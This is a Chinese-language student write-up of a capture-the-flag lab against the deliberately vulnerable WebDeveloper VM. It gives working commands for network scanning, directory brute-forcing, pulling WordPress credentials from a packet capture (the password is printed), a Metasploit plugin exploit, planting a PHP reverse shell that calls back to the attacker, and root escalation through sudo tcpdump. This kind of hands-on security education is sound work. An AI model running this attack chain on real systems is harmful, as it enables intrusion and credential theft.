网络渗透——CTF实践
這里寫目錄標題
- 實驗目的
- 實驗原理
- 什么是CTF
- CTF競賽模式
- CTF各大題型簡介
- 實驗步驟和內(nèi)容
- 發(fā)現(xiàn)目標 (netdiscover),找到WebDeveloper的IP地址
- 查看目標主機端口開放、服務情況(NMAP掃描)
- 利用瀏覽器訪問目標網(wǎng)站
- whatweb探測目標網(wǎng)站使用的CMS模板
- wpscan功能
- Dirb 爆破網(wǎng)站目錄
- Wireshark分析該數(shù)據(jù)包,分析TCP數(shù)據(jù)流
- 利用上一步得到的信息進入網(wǎng)站后臺
- 利用該CMS存在的(插件Plugin)漏洞進行提權(quán)
- 其他方案
- SSH登錄服務器
- 實驗總結(jié)
實驗目的
通過對目標靶機的滲透過程,了解CTF競賽模式,理解CTF涵蓋的知識范圍,如MISC、PPC、WEB等,通過實踐,加強團隊協(xié)作能力,掌握初步CTF實戰(zhàn)能力及信息收集能力。熟悉網(wǎng)絡(luò)掃描、探測HTTP web服務、目錄枚舉、提權(quán)、圖像信息提取、密碼破解等相關(guān)工具的使用。
系統(tǒng)環(huán)境: Kali Linux 2、WebDeveloper靶機來源:
實驗工具: 不限
實驗原理
什么是CTF
CTF(Capture The Flag)中文一般譯作奪旗賽,在網(wǎng)絡(luò)安全領(lǐng)域中指的是網(wǎng)絡(luò)安全技術(shù)人員之間進行技術(shù)競技的一種比賽形式。CTF起源于1996年DEFCON全球黑客大會,以代替之前黑客們通過互相發(fā)起真實攻擊進行技術(shù)比拼的方式。發(fā)展至今,已經(jīng)成為全球范圍網(wǎng)絡(luò)安全圈流行的競賽形式,2013年全球舉辦了超過五十場國際性CTF賽事。而DEFCON作為CTF賽制的發(fā)源地,DEFCON CTF也成為了目前全球最高技術(shù)水平和影響力的CTF競賽,類似于CTF賽場中的“世界杯”。
CTF競賽模式
- (1)解題模式(Jeopardy)在解題模式CTF賽制中,參賽隊伍可以通過互聯(lián)網(wǎng)或者現(xiàn)場網(wǎng)絡(luò)參與,這種模式的CTF競賽與ACM編程競賽、信息學奧賽比較類似,以解決網(wǎng)絡(luò)安全技術(shù)挑戰(zhàn)題目的分值和時間來排名,通常用于在線選拔賽。題目主要包含逆向、漏洞挖掘與利用、Web滲透、密碼、取證、隱寫、安全編程等類別。
- (2)攻防模式(Attack-Defense)在攻防模式CTF賽制中,參賽隊伍在網(wǎng)絡(luò)空間互相進行攻擊和防守,挖掘網(wǎng)絡(luò)服務漏洞并攻擊對手服務來得分,修補自身服務漏洞進行防御來避免丟分。攻防模式CTF賽制可以實時通過得分反映出比賽情況,最終也以得分直接分出勝負,是一種競爭激烈,具有很強觀賞性和高度透明性的網(wǎng)絡(luò)安全賽制。在這種賽制中,不僅僅是比參賽隊員的智力和技術(shù),也比體力(因為比賽一般都會持續(xù)48小時及以上),同時也比團隊之間的分工配合與合作。
- (3)混合模式(Mix)結(jié)合了解題模式與攻防模式的CTF賽制,比如參賽隊伍通過解題可以獲取一些初始分數(shù),然后通過攻防對抗進行得分增減的零和游戲,最終以得分高低分出勝負。采用混合模式CTF賽制的典型代表如iCTF國際CTF競賽。
CTF各大題型簡介
MISC(安全雜項)
全稱Miscellaneous。題目涉及流量分析、電子取證、人肉搜索、數(shù)據(jù)分析、大數(shù)據(jù)統(tǒng)計等等,覆蓋面比較廣。我們平時看到的社工類題目;給你一個流量包讓你分析的題目;取證分析題目,都屬于這類題目。主要考查參賽選手的各種基礎(chǔ)綜合知識,考察范圍比較廣。
PPC(編程類)
全稱Professionally Program Coder。題目涉及到程序編寫、編程算法實現(xiàn)。算法的逆向編寫,批量處理等,有時候用編程去處理問題,會方便的多。當然PPC相比ACM來說,還是較為容易的。至于編程語言嘛,推薦使用Python來嘗試。這部分主要考察選手的快速編程能力。
CRYPTO(密碼學)
全稱Cryptography。題目考察各種加解密技術(shù),包括古典加密技術(shù)、現(xiàn)代加密技術(shù)甚至出題者自創(chuàng)加密技術(shù)。這樣的題目匯集的最多。這部分主要考查參賽選手密碼學相關(guān)知識點。
REVERSE(逆向)
題目涉及到軟件逆向、破解技術(shù)等,要求有較強的反匯編、反編譯扎實功底。需要掌握匯編,堆棧、寄存器方面的知識。有好的邏輯思維能力。主要考查參賽選手的逆向分析能力。此類題目也是線下比賽的考察重點。
STEGA(隱寫)
全稱Steganography。題目的Flag會隱藏到圖片、音頻、視頻等各類數(shù)據(jù)載體中供參賽選手獲取。載體就是圖片、音頻、視頻等,可能是修改了這些載體來隱藏flag,也可能將flag隱藏在這些載體的二進制空白位置。有時候需要你偵探精神足夠的強,才能發(fā)現(xiàn)。此類題目主要考查參賽選手的對各種隱寫工具、隱寫算法的熟悉程度。
PWN(溢出)
PWN在黑客俚語中代表著攻破,取得權(quán)限,在CTF比賽中它代表著溢出類的題目,其中常見類型溢出漏洞有棧溢出、堆溢出。在CTF比賽中,線上比賽會有,但是比例不會太重,進入線下比賽,逆向和溢出則是戰(zhàn)隊實力的關(guān)鍵。主要考察參數(shù)選手漏洞挖掘和利用能力。
WEB(web類)
WEB應用在今天越來越廣泛,也是CTF奪旗競賽中的主要題型,題目涉及到常見的Web漏洞,諸如注入、XSS、文件包含、代碼審計、上傳等漏洞。這些題目都不是簡單的注入、上傳題目,至少會有一層的安全過濾,需要選手想辦法繞過。且Web題目是國內(nèi)比較多也是大家比較喜歡的題目。因為大多數(shù)人開始安全都是從web*站開始的。
實驗步驟和內(nèi)容
目的:獲取靶機Web Developer 文件/root/flag.txt中flag。
基本思路:本網(wǎng)段IP地址存活掃描(netdiscover);網(wǎng)絡(luò)掃描(Nmap);瀏覽HTTP 服務;網(wǎng)站目錄枚舉(Dirb);發(fā)現(xiàn)數(shù)據(jù)包文件 “cap”;分析 “cap” 文件,找到網(wǎng)站管理后臺賬號密碼;插件利用(有漏洞);利用漏洞獲得服務器賬號密碼;SSH 遠程登錄服務器;tcpdump另類應用。
發(fā)現(xiàn)目標 (netdiscover),找到WebDeveloper的IP地址
-
1.打開WebDeveloper和kali.
在kali找官網(wǎng):nmcli device show eth0
(看IP4 GATEWAY):
-
2.nmap -v sn 官網(wǎng)地址(192.168.222.2)/24
找沒有host down的ip,即為WebDeveloper的IP地址
查看目標主機端口開放、服務情況(NMAP掃描)
- Kali掃描WebDeveloper的IP:nmap 192.168.222.135
可以看到開放了80端口和22端口,這兩個端口的作用分別是http端口(網(wǎng)頁)和ssh端口(遠程登陸)
利用瀏覽器訪問目標網(wǎng)站
由于目標主機提供了HTTP服務,網(wǎng)站開放了80端口,所以在kali的瀏覽器地址欄中登陸http端口
(直接輸入WebDeveloper的IP地址)
可以看見這是一個個人網(wǎng)站,應該是一個比較經(jīng)典的CMS。
whatweb探測目標網(wǎng)站使用的CMS模板
在kali輸入whatweb 10.34.80.3進行檢測可得到如圖信息:
可看見,該網(wǎng)站的CMS為WordPress。
wpscan功能
WPScan是Kali Linux默認自帶的一款漏洞掃描工具,它采用Ruby編寫,能夠掃描WordPress網(wǎng)站中的多種安全漏洞,其中包括WordPress本身的漏洞、插件漏洞和主題漏洞。
Dirb 爆破網(wǎng)站目錄
Dirb 是一個專門用于爆破目錄的工具,在 Kali 中默認已經(jīng)安裝,類似工具還有國外的patator,dirsearch,DirBuster, 國內(nèi)的御劍)截圖。找到一個似乎和網(wǎng)絡(luò)流量有關(guān)的目錄(路徑)
1.在kali中輸入命令dirb http://192.168.222.135,結(jié)果如圖:
可看見一個ipdata,根據(jù)意思猜測其是流量消息,嘗試瀏覽器訪問看看:
發(fā)現(xiàn)有一個cap文件
Wireshark分析該數(shù)據(jù)包,分析TCP數(shù)據(jù)流
-
點擊圖中的analyze.cap下載,找到該文件然后拖進wireshark.
-
點擊搜索,輸入login(登錄),發(fā)現(xiàn)好東西啦!在藍色條條里可看見該網(wǎng)址
-
然后去瀏覽器輸入WebDeveloper的IP和/wp-login.php,即可看見登陸頁面
-
隨便輸入一個賬號和密碼,到Burp sure里找剛剛提交信息的地址:
找到后去Wireshark篩選http請求類型為post的請求,追蹤TCP流可得:
可見賬號為webdeveloper,密碼為Te5eQg%264sBS%2lYr%24%29wf%25%28DcAd
利用上一步得到的信息進入網(wǎng)站后臺
我們將改賬號密碼復制到Burp sure,把原來的改成這個。最后去瀏覽器刷新即可成功進入網(wǎng)站后臺!
利用該CMS存在的(插件Plugin)漏洞進行提權(quán)
方案1:利用MeterSploit插件+reflex gallery插件漏洞實現(xiàn)。安裝reflex gallery插件。利用該插件可能存在的漏洞
-
1.給這個wordpress安裝reflex gallery插件;
點擊頁面的plugins,下載reflex-gallery,放到kali中,點擊add new,點擊upload plugin
-
2.安裝成功后去激活。如圖即為成功:
-
3.接下來在kali使用msf來控制漏洞:
- 先輸入msfconsole打開msf
- 第二次輸入use exploit/unix/webapp/wp_reflexgallery_file_upload
- 第三次輸入 set rhosts WebDeveloper的IP
- 第四次輸入 exploit
出現(xiàn)meterpreter>說明可以控制啦!
- 4.輸入Linux命令來查看一些文件:meterpreter> ls
- 5.回退到/var/www/html之后可以看到wp-config.php
- 6.找到一行有wp-config.php,查看里面的內(nèi)容:kali輸入meterpreter > cat wp-config.php
- 7.在瀏覽器中輸入:WebDeveloper的IP/wp-config.php即可找到數(shù)據(jù)庫的用戶和密碼
其他方案
方案2:上傳反彈shell
http://pentestmonkey.net/tools/web-shells/php-reverse-shell
【目的:PHP網(wǎng)站滲透;實現(xiàn)途徑:上傳網(wǎng)站后,URL訪問(含有)該反彈shell的頁面。
功能:該腳本會發(fā)起反彈TCP連接到攻擊者(腳本中指定攻擊者IP地址和端口號)?!?br /> 該CMS為PHP開發(fā),可以利用其實現(xiàn)反彈shell。但必須修改初始化IP地址和端口。(指向攻擊者)。
- 進入后臺,找到任意一個PHP頁面,然后利用php-reverse-shell.PHP的代碼修改該頁面的代碼。
- 修改代碼中反彈目標的IP地址及端口(修改為攻擊者IP地址及開放的端口號)。
- 首先需要點擊右欄的404 Tamplate把這里的theme給修改為Twenty Sixteen然后點擊Select。
- 然后將php文件復制粘貼過來,記得upload!
- 在Kali中利用NC開始監(jiān)聽,瀏覽器訪問修改的PHP頁面。從而得到反彈shell(用戶www-data)。建立會話后,查看wp-config.php獲得賬號及口令。(注意路徑)
方案3:利用文件管理插件(File manager)漏洞 - 安裝該插件,直接可以瀏覽wp-config.php
SSH登錄服務器
(嘗試利用上一步獲得的訪問數(shù)據(jù)庫的用戶名和密碼連接遠程服務器)
- kali訪問不了,需要我們修改配置文件
- kali 輸入sudo vim /etc/ssh/ssh_config打開該文件
- 將里面的 # StrictHostKeyChecking ask改成StrictHostKeyChecking no
- 保存退出
- 最后在kali輸入ssh webdeveloper@192.168.222.135便能成功登進去啦
- 嘗試查看,輸入cat /root/flag.txt
權(quán)限不足,均無法查看。
- 使用tcpdump執(zhí)行任意命令(當tcpdump捕獲到數(shù)據(jù)包后會執(zhí)行指定的命令。)
查看當前身份可執(zhí)行的命令。
- 發(fā)現(xiàn)可以root權(quán)限執(zhí)行tcpdump命令:
sudo tcpdump -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/exploit -Z root
其中:
創(chuàng)建攻擊文件:touch /tmp/exploit1
寫入shellcode:echo 'cat /root/flag.txt' > /tmp/exploit
賦予可執(zhí)行權(quán)限:chmod +x /tmp/exploit
實驗總結(jié)
通過這次實驗學到了很多。比如:
1.怎么獲取靶機Web Developer 文件/root/flag.txt中flag。
2.以及通過Kali的命令Dirb 爆破網(wǎng)站目錄找到cap文件和怎么通過Wireshark、Burp sure分析 “cap” 文件,找到網(wǎng)站管理后臺賬號密碼。3.怎么利用漏洞和在kali使用msf來控制漏洞來獲得服務器的賬號密碼。
真的是越學習 收獲越多 越有墨水!
總結(jié)
以上是生活随笔為你收集整理的网络渗透——CTF实践的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: ue4中隐藏灯光和相机图标_[HDRP]
- 下一篇: 为什么区分LHS和RHS?